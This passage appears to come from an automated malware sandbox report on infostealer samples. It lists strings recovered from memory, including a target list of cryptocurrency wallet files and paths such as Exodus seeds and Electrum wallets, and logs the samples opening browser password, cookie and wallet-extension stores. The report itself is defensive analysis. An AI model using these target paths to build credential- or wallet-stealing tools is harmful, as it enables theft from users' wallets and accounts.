Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: aspnet_regiis.exe	String found in binary or memory: ExodusWeb3
Source: aspnet_regiis.exe, 00000009.00000003.2557349013.0000000002AC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: a0a3a50765.exe, 0000000F.00000002.3109931730.0000000000D3C000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: aspnet_regiis.exe, 00000009.00000003.2506237813.0000000002ACF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: a0a3a50765.exe, 0000000F.00000002.3109931730.0000000000D3C000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: a0a3a50765.exe, 0000000F.00000002.3109931730.0000000000D3C000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: a0a3a50765.exe, 0000000F.00000002.3109931730.0000000000D3C000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: aspnet_regiis.exe, 00000009.00000003.2506237813.0000000002ACF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: a0a3a50765.exe, 0000000F.00000002.3109931730.0000000000D3C000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
